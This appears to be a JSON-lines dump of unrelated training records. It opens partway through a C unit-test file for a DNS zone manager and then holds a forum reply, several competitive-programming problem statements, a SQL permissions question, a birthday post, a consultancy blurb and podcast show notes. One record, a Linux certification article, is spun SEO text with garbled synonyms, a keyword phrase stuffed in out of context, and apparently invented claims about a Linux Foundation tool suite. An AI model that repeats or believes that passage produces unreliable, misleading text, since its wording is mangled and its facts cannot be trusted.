ISC_R_SUCCESS);\n\n\tdns_zonemgr_shutdown(myzonemgr);\n\tdns_zonemgr_detach(&myzonemgr);\n\tATF_REQUIRE_EQ(myzonemgr, NULL);\n\n\tdns_test_end();\n}\n\n\nATF_TC(zonemgr_managezone);\nATF_TC_HEAD(zonemgr_managezone, tc) {\n\tatf_tc_set_md_var(tc, \"descr\", \"manage and release a zone\");\n}\nATF_TC_BODY(zonemgr_managezone, tc) {\n\tdns_zonemgr_t *myzonemgr = NULL;\n\tdns_zone_t *zone = NULL;\n\tisc_result_t result;\n\n\tUNUSED(tc);\n\n\tresult = dns_test_begin(NULL, ISC_TRUE);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_zonemgr_create(mctx, taskmgr, timermgr, socketmgr,\n\t\t\t\t    &myzonemgr);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_test_makezone(\"foo\", &zone, NULL, ISC_FALSE);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\t/* This should not succeed until the dns_zonemgr_setsize() is run */\n\tresult = dns_zonemgr_managezone(myzonemgr, zone);\n\tATF_REQUIRE_EQ(result, ISC_R_FAILURE);\n\n\tATF_REQUIRE_EQ(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 0);\n\n\tresult = dns_zonemgr_setsize(myzonemgr, 1);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\t/* Now it should succeed */\n\tresult = dns_zonemgr_managezone(myzonemgr, zone);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tATF_REQUIRE_EQ(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 1);\n\n\tdns_zonemgr_releasezone(myzonemgr, zone);\n\tdns_zone_detach(&zone);\n\n\tATF_REQUIRE_EQ(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 0);\n\n\tdns_zonemgr_shutdown(myzonemgr);\n\tdns_zonemgr_detach(&myzonemgr);\n\tATF_REQUIRE_EQ(myzonemgr, NULL);\n\n\tdns_test_end();\n}\n\nATF_TC(zonemgr_createzone);\nATF_TC_HEAD(zonemgr_createzone, tc) {\n\tatf_tc_set_md_var(tc, \"descr\", \"create and release a zone\");\n}\nATF_TC_BODY(zonemgr_createzone, tc) {\n\tdns_zonemgr_t *myzonemgr = NULL;\n\tdns_zone_t *zone = NULL;\n\tisc_result_t result;\n\n\tUNUSED(tc);\n\n\tresult = dns_test_begin(NULL, ISC_TRUE);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_zonemgr_create(mctx, taskmgr, timermgr, socketmgr,\n\t\t\t\t    &myzonemgr);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\t/* This should not succeed until the dns_zonemgr_setsize() is run */\n\tresult = dns_zonemgr_createzone(myzonemgr, &zone);\n\tATF_REQUIRE_EQ(result, ISC_R_FAILURE);\n\n\tresult = dns_zonemgr_setsize(myzonemgr, 1);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\t/* Now it should succeed */\n\tresult = dns_zonemgr_createzone(myzonemgr, &zone);\n\tATF_CHECK_EQ(result, ISC_R_SUCCESS);\n\tATF_CHECK(zone != NULL);\n\n\tif (zone != NULL)\n\t\tdns_zone_detach(&zone);\n\n\tdns_zonemgr_shutdown(myzonemgr);\n\tdns_zonemgr_detach(&myzonemgr);\n\tATF_REQUIRE_EQ(myzonemgr, NULL);\n\n\tdns_test_end();\n}\n\nATF_TC(zonemgr_unreachable);\nATF_TC_HEAD(zonemgr_unreachable, tc) {\n\tatf_tc_set_md_var(tc, \"descr\", \"manage and release a zone\");\n}\nATF_TC_BODY(zonemgr_unreachable, tc) {\n\tdns_zonemgr_t *myzonemgr = NULL;\n\tdns_zone_t *zone = NULL;\n\tisc_sockaddr_t addr1, addr2;\n\tstruct in_addr in;\n\tisc_result_t result;\n\tisc_time_t now;\n\n\tUNUSED(tc);\n\n\tTIME_NOW(&now);\n\n\tresult = dns_test_begin(NULL, ISC_TRUE);\n\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_zonemgr_create(mctx, taskmgr, timermgr, socketmgr,\n\t\t\t\t    &myzonemgr);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_test_makezone(\"foo\", &zone, NULL, ISC_FALSE);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_zonemgr_setsize(myzonemgr, 1);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_zonemgr_managezone(myzonemgr, zone);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tin.s_addr = inet_addr(\"10.53.0.1\");\n\tisc_sockaddr_fromin(&addr1, &in, 2112);\n\tin.s_addr = inet_addr(\"10.53.0.2\");\n\tisc_sockaddr_fromin(&addr2, &in, 5150);\n\tATF_CHECK(! dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\t/*\n\t * We require multiple unreachableadd calls to mark a server as\n\t * unreachable.\n\t */\n\tdns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);\n\tATF_CHECK(! dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\tdns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);\n\tATF_CHECK(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\n\tin.s_addr = inet_addr(\"10.53.0.3\");\n\tisc_sockaddr_fromin(&addr2, &in, 5150);\n\tATF_CHECK(! dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\t/*\n\t * We require multiple unreachableadd calls to mark a server as\n\t * unreachable.\n\t */\n\tdns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);\n\tdns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);\n\tATF_CHECK(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\n\tdns_zonemgr_unreachabledel(myzonemgr, &addr1, &addr2);\n\tATF_CHECK(! dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\n\tin.s_addr = inet_addr(\"10.53.0.2\");\n\tisc_sockaddr_fromin(&addr2, &in, 5150);\n\tATF_CHECK(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\tdns_zonemgr_unreachabledel(myzonemgr, &addr1, &addr2);\n\tATF_CHECK(! dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));\n\n\tdns_zonemgr_releasezone(myzonemgr, zone);\n\tdns_zone_detach(&zone);\n\tdns_zonemgr_shutdown(myzonemgr);\n\tdns_zonemgr_detach(&myzonemgr);\n\tATF_REQUIRE_EQ(myzonemgr, NULL);\n\n\tdns_test_end();\n}\n\n\n/*\n * Main\n */\nATF_TP_ADD_TCS(tp) {\n\tATF_TP_ADD_TC(tp, zonemgr_create);\n\tATF_TP_ADD_TC(tp, zonemgr_managezone);\n\tATF_TP_ADD_TC(tp, zonemgr_createzone);\n\tATF_TP_ADD_TC(tp, zonemgr_unreachable);\n\treturn (atf_no_error());\n}\n\n/*\n * XXX:\n * dns_zonemgr API calls that are not yet part of this unit test:\n *\n * \t- dns_zonemgr_attach\n * \t- dns_zonemgr_forcemaint\n * \t- dns_zonemgr_resumexfrs\n * \t- dns_zonemgr_shutdown\n * \t- dns_zonemgr_setsize\n * \t- dns_zonemgr_settransfersin\n * \t- dns_zonemgr_getttransfersin\n * \t- dns_zonemgr_settransfersperns\n * \t- dns_zonemgr_getttransfersperns\n * \t- dns_zonemgr_setiolimit\n * \t- dns_zonemgr_getiolimit\n * \t- dns_zonemgr_dbdestroyed\n * \t- dns_zonemgr_setserialqueryrate\n * \t- dns_zonemgr_getserialqueryrate\n */", "source": "cpt_stack_code", "language": "code", "token_count": 2511, "token_count_with_eod": 2512, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Well, most operating systems do let you know when you've reached a critical low. However, it is up to the user to do the work of clearing out the space. I know that Windows will do what it can to assist, as does the latest Ubuntu (not sure about other Linux distros), but it can only do so much. I haven't played with anything beyond Tiger to any extent, so I don't know if those also do what they can to assist in freeing up space. Hoping to change that little problem soon, though...\n• Apple iMac G5 17\" (2 GHz G5) - Mac OS X 10.5.8/Ubuntu 10.04\n• Asus Eee PC 901 (1.6 GHz Atom N270) - Fedora 13\n• Apple Macintosh Quadra 650 (33 MHz MC68040) - Mac OS 8.1\n• \"JHVH-1\" (2 GHz AMD Athlon XP 2400+) - Slackware 13.1", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 232, "token_count_with_eod": 233, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Today is birthday of a Little Dasha — she is now 8 years old! On this occasion, each of her n friends and relatives gave her a ribbon with a greeting written on it, and, as it turned out, all the greetings are different. Dasha gathered all the ribbons and decided to throw away some of them in order to make the remaining set stylish. The birthday girl considers a set of ribbons stylish if no greeting written on some ribbon is a substring of another greeting written on some other ribbon. Let us recall that the substring of the string s is a continuous segment of s.\n\nHelp Dasha to keep as many ribbons as possible, so that she could brag about them to all of her friends. Dasha cannot rotate or flip ribbons, that is, each greeting can be read in a single way given in the input.", "source": "cpt_codeforces", "language": "en", "token_count": 175, "token_count_with_eod": 176, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A boy Bob likes to draw. Not long ago he bought a rectangular graph (checked) sheet with n rows and m columns. Bob shaded some of the squares on the sheet. Having seen his masterpiece, he decided to share it with his elder brother, who lives in Flatland. Now Bob has to send his picture by post, but because of the world economic crisis and high oil prices, he wants to send his creation, but to spend as little money as possible. For each sent square of paper (no matter whether it is shaded or not) Bob has to pay 3.14 burles. Please, help Bob cut out of his masterpiece a rectangle of the minimum cost, that will contain all the shaded squares. The rectangle's sides should be parallel to the sheet's sides.", "source": "cpt_codeforces", "language": "en", "token_count": 160, "token_count_with_eod": 161, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I am not a Microsoft SQL expert, but I need to solve this trouble.\nI must configure a MS SQL access as read only user.\nI understood that I must set \"db_datareader* permission for this new read only user (guide: https://www.itsupportguides.com/knowledge-base/server-side-tips/sql-management-studio-how-to-create-read-only-users/)\nAfter that I would limit read only user database view.\nI would that this limited user can only see specific tables inside specific database (databases).\nIs it possible?\nHow can I do it?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Best Linux Certification! Introduction to linux partition types. Verifiable certifications with The Linux Foundation. Top certifications CompTia Linux+ is the only Linux certification with the foundational skills required.\nLinux Academy – Introduction to linux partition types\nLinux Academy is a service provider of on the internet training courses as well as qualifications for Linux as well as cloud-related innovations. Introduction to linux partition types. Their programs cover a wide variety of topics, consisting of Linux administration, AWS, Azure, Google Cloud, as well as a lot more. They additionally supply hands-on laboratories and tests to assist learners examine their understanding and skills. Introduction to linux partition types. Linux Academy’s goal is to provide top quality training and resources to aid individuals and also companies progress their professions and also improve their IT infrastructure.\nLinux Foundation – Introduction to linux partition types\nThe Linux Foundation is a charitable organization that is devoted to advertising, safeguarding, and also progressing the Linux operating system and open-source software application. The Linux Foundation holds a variety of projects and initiatives, including the Linux kernel, the Linux operating system, as well as the Open Network Automation Platform.\nLinux Certification – Introduction to linux partition types\nLinux Certification is a Certification program that confirms an individual’s understanding and skills in operation the Linux operating system and its connected modern technologies. Introduction to linux partition types. These qualifications are provided by different companies, consisting of the Linux Professional Institute (LPI), the Red Hat Certified Engineer (RHCE) program, and also the CompTIA Linux+ Certification.\nIntroduction to linux partition types. The Linux Professional Institute (LPI) provides numerous degrees of Linux Certification, consisting of LPIC-1 Junior Linux Professional), LPIC-2 (Advanced Level Linux Professional), and LPIC-3 (Senior Level Linux Professional). These accreditations examine an individual’s understanding of Linux administration, system arrangement, and troubleshooting.\nThe Red Hat Certified Engineer (RHCE) program is a certification program offered by Red Hat, a leading service provider of enterprise-level Linux services. The RHCE Certification validates an person’s abilities in configuring, managing, and also fixing Red Hat Linux systems.\nThe CompTIA Linux+ Certification is a vendor neutral certification that tests an person’s understanding of Linux administration, system setup, as well as troubleshooting. Introduction to linux partition types. This Certification is recognized by many employers as a indication of effectiveness in Linux.\nIn summary, Linux Certification is a useful property for IT professionals looking to advance their professions in Linux administration, system setup, as well as troubleshooting. These qualifications are recognized by companies and also can boost an individual’s earning capacity.\nWhich is the best Linux Certification?\nThe very best Linux Certification depends upon the person’s goals and also needs. Some preferred Linux qualifications consist of:\n1. Linux Professional Institute Certification (LPIC) – This Certification is acknowledged globally as well as covers a wide variety of Linux subjects including system administration, networking, as well as safety. Introduction to linux partition types.\n2. Red Hat Certified Engineer (RHCE) – This certification is specific to Red Hat Linux as well as is acknowledged as a extremely appreciated Certification in the sector.\n3. CompTIA Linux+ – This Certification covers Linux fundamentals, command-line abilities, and system administration. It is vendor neutral and is a fantastic starting point for those brand-new to Linux.\n4. Oracle Linux Certified Administrator (OCA) – This Certification specifies to Oracle Linux as well as covers topics such as system administration, safety and security, and also troubleshooting.\nUltimately, the very best Linux Certification will rely on the person’s career objectives as well as the type of Linux environment they will be operating in.\nWhich is the very best Linux Training? – Introduction to linux partition types\nIntroduction to linux partition types. There are several Linux training options readily available, and the most effective one for you will certainly depend on your specific demands and finding out style. Some preferred Linux training alternatives consist of:.\n1. Linux Professional Institute (LPI) Certification: This is a commonly acknowledged Linux Certification that covers numerous Linux related subjects such as system administration, network monitoring, as well as protection.\n2. Linux Foundation Certified System Administrator (LFCS): This Certification is made for system managers who wish to gain hands-on experience with Linux.\n3. Linux Academy: This is an on the internet Linux training Platform that provides numerous Linux training courses, including those for system managers, designers, and also network administrators.\n4. Red Hat Certified Engineer (RHCE): This Certification is specific to Red Hat Linux and also concentrates on system administration and also network monitoring.\n5. Udemy Linux training courses: Introduction to linux partition types. Udemy supplies a wide variety of Linux courses for beginners and progressed customers, including Linux for newbies, Linux command line, as well as Linux web server administration.\nUltimately, the most effective Linux training for you will certainly depend on your learning design, the details Linux distribution you will be utilizing, and the kind of Linux-related job you are going for.\nThe Linux Foundation Provides Suite Opensource.\nThe Linux Foundation, a non profit company committed to promoting and also supporting open source software application, has introduced the launch of a suite of open source tools and also sources for programmers. Introduction to linux partition types. The suite consists of a series of devices for software growth, screening, and also implementation, in addition to sources for finding out and also collaboration.\nThe suite includes popular open source tasks such as the Linux operating system, the Apache web server, and also the MySQL database. Introduction to linux partition types. It also consists of devices for software program advancement and also testing, such as the Eclipse incorporated advancement atmosphere (IDE) and also the Jenkins constant combination as well as delivery Platform.\nAlong with the devices, the suite additionally consists of resources for finding out as well as collaboration, such as on-line tutorials, webinars, and discussion forums. Introduction to linux partition types. The Linux Foundation wishes that this suite will certainly make it less complicated for designers to access the sources they require to create, test, and deploy open resource software program.\nThe Linux Foundation also offers training as well as Certification programs for programmers, which can help them to learn more about open resource software application as well as gain the abilities they need to collaborate with it.\nOn the whole, the Linux Foundation’s suite of open source tools and resources is a useful resource for programmers seeking to work with open resource software program. With a variety of tools and resources readily available, designers can quickly access the tools and also sources they need to construct, examination, and deploy open source software.\nAmazon Lumberyard Linux Foundation Open Source.\nAmazon Lumberyard is a complimentary, cross-platform video game engine developed by Amazon Web Provider (AWS) and also based upon CryEngine. It is developed for video game developers of all degrees, from newbies to skilled specialists, as well as includes attributes such as a aesthetic scripting system, a integrated physics engine, and assistance for virtual reality ( VIRTUAL REALITY) and enhanced reality (AR) development. Introduction to linux partition types.\nThe Linux Foundation is a non-profit company that promotes using open-source software application as well as sustains the Linux operating system. Introduction to linux partition types. It organizes and sustains a vast array of open-source jobs, including the Linux kernel, Kubernetes, and Hyperledger.\nOpen source refers to a type of software application that is openly offered for anyone to utilize, change, and also disperse. It is generally created as well as preserved by a community of volunteers and is often certified under terms that allow for cooperation and also sharing. Instances of open-source software program include Linux, Apache, as well as Mozilla Firefox.\nWhat is the future extent of Linux Certification training course? Introduction to linux partition types\nThe future extent of Linux Certification courses is extremely promising as the need for Linux professionals| is boosting in various sectors such as IT, cloud computing, information facility monitoring, as well as cybersecurity. Introduction to linux partition types. Linux is taken into consideration to be a stable, protected, and also economical operating system and also is widely utilized in enterprise atmospheres.\nAs an increasing number of companies are moving in the direction of cloud computer and also data facility administration, the requirement for Linux professionals| that can take care of and also preserve these systems is raising. Linux is additionally commonly utilized in the field of cybersecurity as well as is thought about to be a safe and secure operating system.\nFurthermore, Linux is also being used in the Internet of Things (IoT) as well as ingrained systems, which are growing rapidly. Introduction to linux partition types. This produces a huge demand for Linux professionals| that can create and maintain these systems.\nGenerally, the future extent of Linux Certification programs is very intense as the demand for Linux professionals| is enhancing in various industries, and also the possibilities for Linux professionals| are anticipated to grow in the future.\nWhat should my initial Linux Certification be to get an beginning setting? Introduction to linux partition types\nThe Linux Professional Institute Certification (LPIC-1) is a extensively recognized entry-level Linux Certification that is often required for entry-level Linux positions. Introduction to linux partition types. It covers standard Linux administration tasks and also ideas, consisting of installment as well as arrangement, system upkeep, and also fundamental networking. Getting LPIC-1 Certification will certainly demonstrate your understanding of Linux as well as your ability to carry out standard administration jobs, making you a solid candidate for entry-level Linux positions.\nWhich Linux Certification is much better? Linux Foundation or LPIC?\nBoth Linux Foundation and also LPIC (Linux Professional Institute Certification) supply different types of Linux qualifications that satisfy different ability levels and career paths. Introduction to linux partition types. It ultimately depends upon your goals as well as what you wish to achieve with your Certification.\nThe Linux Foundation offers accreditations such as:.\n• Linux Foundation Certified Engineer (LFCE) – This Certification is targeted at knowledgeable Linux professionals| and also system administrators that want to show their know-how in Linux administration and troubleshooting.\n• Linux Foundation Certified System Administrator (LFCS) – This Certification is made for system administrators who intend to demonstrate their skills in taking care of Linux systems.\nOn the other hand, LPIC supplies certifications such as:.\n• LPIC-1 – This Certification is targeted at entry-level Linux professionals| and covers fundamental Linux administration and troubleshooting. Introduction to linux partition types.\n• LPIC-2 – This Certification is aimed at seasoned Linux professionals| and also covers innovative Linux administration and also troubleshooting.\nBoth Linux Foundation as well as LPIC qualifications are widely acknowledged as well as valued in the sector. Introduction to linux partition types. Inevitably, the most effective Certification for you will certainly rely on your present skills, profession goals, and the kinds of functions you want pursuing. It’s advised to research both accreditations and also establish which one aligns best with your career desires.\nWhich Linux Certification is better to get a job in Leading Technology companies?\nThere are several Linux certifications that are acknowledged and also appreciated by leading technology firms. Introduction to linux partition types. Several of one of the most preferred and also widely recognized accreditations include:.\n1. LPI Linux Professional Institute Certification (LPIC) – This Certification is recognized by significant Linux vendors such as Red Hat, SUSE, as well as Canonicals. It covers a broad variety of Linux topics, including setup, system administration, and also security.\n2. Red Hat Certified Engineer (RHCE) – This Certification specifies to Red Hat Linux and concentrates on advanced system administration as well as safety. It is extremely valued by firms that utilize Red Hat Linux as their main operating system.\n3. CompTIA Linux+ – This Certification is vendor neutral as well as covers a wide range of Linux topics, consisting of installment, system administration, and also protection. It is acknowledged by major Linux vendors such as Red Hat, SUSE, and also Canonicals.\nInevitably, the very best Linux Certification to get a task in leading technology firms will certainly rely on the specific task needs as well as the business’s favored Linux distribution. It’s important to investigate the certain qualifications that are in need by the business you want helping. Introduction to linux partition types.\nWhat is the importance of Red Hat Linux accreditations?\nRed Hat Linux certifications are necessary for a number of factors:.\n1. They show proficiency and also knowledge in the use and also administration of Red Hat Linux systems. Introduction to linux partition types.\n2. They are identified and appreciated in the IT industry as a indication ofProfessional capability.\n3. They can open up brand-new profession possibilities, such as system administration or IT management roles.\n4. They provide a one-upmanship in the work market, as many companies prefer to work with people with certifications.\n5. They can lead to greater incomes and far better task advantages.\n6. They offer a way for professionals to remain existing with the latest innovations and innovations in the field.\n7. They can help with proceeding education and learning andProfessional development.\nOn The Whole, Red Hat Linux certifications can give a wide variety of benefits for professionals in the IT industry, including boosted understanding, occupation possibilities, and also enhanced making potential.\nLinux Academy is a company of online training programs and accreditations for Linux as well as cloud-related innovations. Introduction to linux partition types. The Linux Foundation organizes a selection of tasks and also campaigns, including the Linux kernel, the Linux operating system, and also the Open Network Automation Platform. CompTIA Linux+ – This Certification covers Linux fundamentals, command-line abilities, and system administration. The Linux Professional Institute Certification (LPIC-1) is a extensively recognized entry-level Linux Certification that is frequently required for entry-level Linux positions. Acquiring LPIC-1 Certification will certainly demonstrate your understanding of Linux and also your capability to do fundamental administration tasks, making you a strong prospect for entry-level Linux positions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2851, "token_count_with_eod": 2852, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "As the name of the task implies, you are asked to do some work with segments and trees.\n\nRecall that a tree is a connected undirected graph such that there is exactly one simple path between every pair of its vertices.\n\nYou are given $$$n$$$ segments $$$[l_1, r_1], [l_2, r_2], \\dots, [l_n, r_n]$$$, $$$l_i < r_i$$$ for every $$$i$$$. It is guaranteed that all segments' endpoints are integers, and all endpoints are unique — there is no pair of segments such that they start in the same point, end in the same point or one starts in the same point the other one ends.\n\nLet's generate a graph with $$$n$$$ vertices from these segments. Vertices $$$v$$$ and $$$u$$$ are connected by an edge if and only if segments $$$[l_v, r_v]$$$ and $$$[l_u, r_u]$$$ intersect and neither of it lies fully inside the other one.\n\nFor example, pairs $$$([1, 3], [2, 4])$$$ and $$$([5, 10], [3, 7])$$$ will induce the edges but pairs $$$([1, 2], [3, 4])$$$ and $$$([5, 7], [3, 10])$$$ will not.\n\nDetermine if the resulting graph is a tree or not.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Thank you to everybody who came to my birthday dinner! It ended up being at Picco, because Addis Red Sea couldn’t seat us, but we had amazingly yummy pizza, and followed it with sundaes. And yes, everybody sang to me. :-)\nOne black jacket was left behind, which I believe probably belongs to motive_nuance or queenofhalves. Let me know whose it is and I’ll make arrangements to get it back to you.\nAnd now, it’s time for me to collapse. Happily, though.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 112, "token_count_with_eod": 113, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Machine learning consultancy\nWe will help you explore how to take advantage of machine learning (ML) techniques in order to improve your products and services.\nAs an experienced applied machine learning agency we’re here to help you understand your data, your use case and support implementation.\nUnderstanding whether machine learning is an appropriate technique for your challenge is the first step. This stage ensures that you’ve got a solid theoretical foundation before we get into technical implementation.\nWe will also help you develop the supporting documentation to understand business needs, risk and cost to give you a more in-depth understanding of machine learning can help you.\n2. Right data in the right place?\nData is fundamental to any machine learning project. We’ll help you get your data in an appropriate format, undertake any initial cleaning and map how you can ensure you have access to the right data in future.\n3. Algorithm selection\nNow that we have a solid understanding of your data, business goals and purpose we can evaluate which specific approach is appropriate and do some early testing.\n4. Modelling and validation\nHaving produced a working model we need to ensure that it works at scale and is proven to deliver accurate results across a wider range of data.\nIt’s time to move to production. We’ll make sure that the project is tested and integrated with your platform.\nIf you’d like to find out more about machine learning consulting services please get in touch.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The game of Berland poker is played as follows. There are $$$n+1$$$ people: $$$n$$$ players, numbered from $$$1$$$ to $$$n$$$, and the dealer. The dealer has a deck which contains cards of four different suits (the number of cards of each suit is not necessarily the same); the number of cards in the deck is divisible by $$$n$$$. The dealer gives all cards to the players, so that every player receives the same number of cards, and the whole deck is used.\n\nAfter the cards are dealt, every player chooses one of four suits (independently) and discards all cards from their hand which do not belong to their chosen suit. The winner of the game is the player with the maximum number of cards left in their hand. The number of points the winner receives is $$$x - y$$$, where $$$x$$$ is the number of cards in the winner's hand, and $$$y$$$ is the maximum number of cards among all other players; everyone else receives $$$0$$$ points. Note that it means that if there are multiple players with the maximum number of cards, everyone receives $$$0$$$ points.\n\nSince every player wants to maximize their odds to win, they will choose a suit with the maximum number of cards in their hand.\n\nMonocarp is the dealer. He has already given some cards to the players; the $$$i$$$-th player received $$$a_{i,j}$$$ cards of suit $$$j$$$. Note that the number of cards in players' hands don't have to be the same at this moment. Monocarp has $$$b_1, b_2, b_3, b_4$$$ cards of suit $$$1, 2, 3, 4$$$ respectively left in his deck. He has to give them to the players so that, after all cards are dealt, every player has the same number of cards.\n\nFor each player, calculate the maximum number of points they can receive among all ways to deal the remaining cards according to the rules of the game.", "source": "cpt_codeforces", "language": "en", "token_count": 423, "token_count_with_eod": 424, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You got a job as a marketer in a pet shop, and your current task is to boost sales of cat food. One of the strategies is to sell cans of food in packs with discounts.\n\nSuppose you decided to sell packs with $$$a$$$ cans in a pack with a discount and some customer wants to buy $$$x$$$ cans of cat food. Then he follows a greedy strategy:\n\n- he buys $$$\\left\\lfloor \\frac{x}{a} \\right\\rfloor$$$ packs with a discount;\n- then he wants to buy the remaining $$$(x \\bmod a)$$$ cans one by one.\n\n$$$\\left\\lfloor \\frac{x}{a} \\right\\rfloor$$$ is $$$x$$$ divided by $$$a$$$ rounded down, $$$x \\bmod a$$$ is the remainer of $$$x$$$ divided by $$$a$$$.\n\nBut customers are greedy in general, so if the customer wants to buy $$$(x \\bmod a)$$$ cans one by one and it happens that $$$(x \\bmod a) \\ge \\frac{a}{2}$$$ he decides to buy the whole pack of $$$a$$$ cans (instead of buying $$$(x \\bmod a)$$$ cans). It makes you, as a marketer, happy since the customer bought more than he wanted initially.\n\nYou know that each of the customers that come to your shop can buy any number of cans from $$$l$$$ to $$$r$$$ inclusive. Can you choose such size of pack $$$a$$$ that each customer buys more cans than they wanted initially?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Jul 31, 2020\nMy good friend Jenn Sodini returns for a fun foray into the cultural milieu of our exponentially chaotic and weird age.\nJenn is the founder and creator of Evolve and Ascend. The Author of Everyday Amenti, the host of Radio Amenti (podcast), a public speaker, creator of the Amenti Oracle deck and much more. She is a life long student of the occult, plant medicines, and esoteric wisdom. Jenn is on a true spiritual path, which sets her apart from many who claim to walk the path but end up falling into the \"new age woo\" traps of spiritual bypassing, gaslighting, spiritual materialism etc... She carries her light while realizing the dark and integrating the shadow to let her truth, wisdom and compassion shine in the healthiest, most grounded, and holistic way possible.\nWe have a really fun chat about culture, media,and the overall tech/online environment, the conspiracy and conspirituality landscape, beliefs, performative slacktivism, social media and its influencers, memes, viral videos, pop culture, magick, the occult, cringe inducing celebrity culture, the freedom and sanity of going for long bike rides and much more. Again, one of my favorite conversations with one of my favorite people.\nConnect With Jennifer:\nOracle Cards: https://bit.ly/39K7uk2\nRadio Amenti: https://bit.ly/3jY0x3J\nAmenti Oracle: https://bit.ly/3jXl6xa\nE+A YouTube: https://bit.ly/33fjysE\nPersonal YT: https://bit.ly/2XfzRBY\nSign Up Below For 50% Off Charles Eisenstein's New Course On POLITICAL HOPE\nFree Access from Aug 3-12 only : https://bit.ly/2En3Lxh\nPurchase now for 50% Off +Lifetime access & exclusive bonus content: https://bit.ly/2DbKRsJ\nConnect With Mike:\nApple Podcasts: https://apple.co/2Vf2RKf\nAlso Available on Podbean, Speaker, Breaker, Tunein, Castro, I heart radio, Overcast, Soundcloud and everywhere podcasts are found\nSubscribe to the Inner Sanctum Monthly Newsletter https://bit.ly/2GqH7kX\nStudent Loan Tutor: https://bit.ly/2X2meF4\n* Say you found them through Mikeadelic for extra special magical love and care.\nHigh Potency CBD Products\nenter code Mike15 at checkout for 15% off\n* Become a patron and get access to bonus episodes, stickers, shirts and access to the private discord chat group\nIntro Music Provided by Danny Barnett & Galaxia:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 586, "token_count_with_eod": 587, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Mike is the president of country What-The-Fatherland. There are n bears living in this country besides Mike. All of them are standing in a line and they are numbered from 1 to n from left to right. i-th bear is exactly ai feet high.\n\nA group of bears is a non-empty contiguous segment of the line. The size of a group is the number of bears in that group. The strength of a group is the minimum height of the bear in that group.\n\nMike is a curious to know for each x such that 1 ≤ x ≤ n the maximum strength among all groups of size x.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Author note: I think some of you might remember the problem \"Two Melodies\" from Eductational Codeforces Round 22. Now it's time to make it a bit more difficult!\n\nAlice is a composer, and recently she had recorded two tracks that became very popular. Now she has got a lot of fans who are waiting for new tracks.\n\nThis time Alice wants to form four melodies for her tracks.\n\nAlice has a sheet with n notes written on it. She wants to take four such non-empty non-intersecting subsequences that all of them form a melody and sum of their lengths is maximal.\n\nSubsequence is a sequence that can be derived from another sequence by deleting some elements without changing the order of the remaining elements.\n\nSubsequence forms a melody when each two adjacent notes either differ by 1 or are congruent modulo 7.\n\nYou should write a program which will calculate maximum sum of lengths of such four non-empty non-intersecting subsequences that all of them form a melody.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
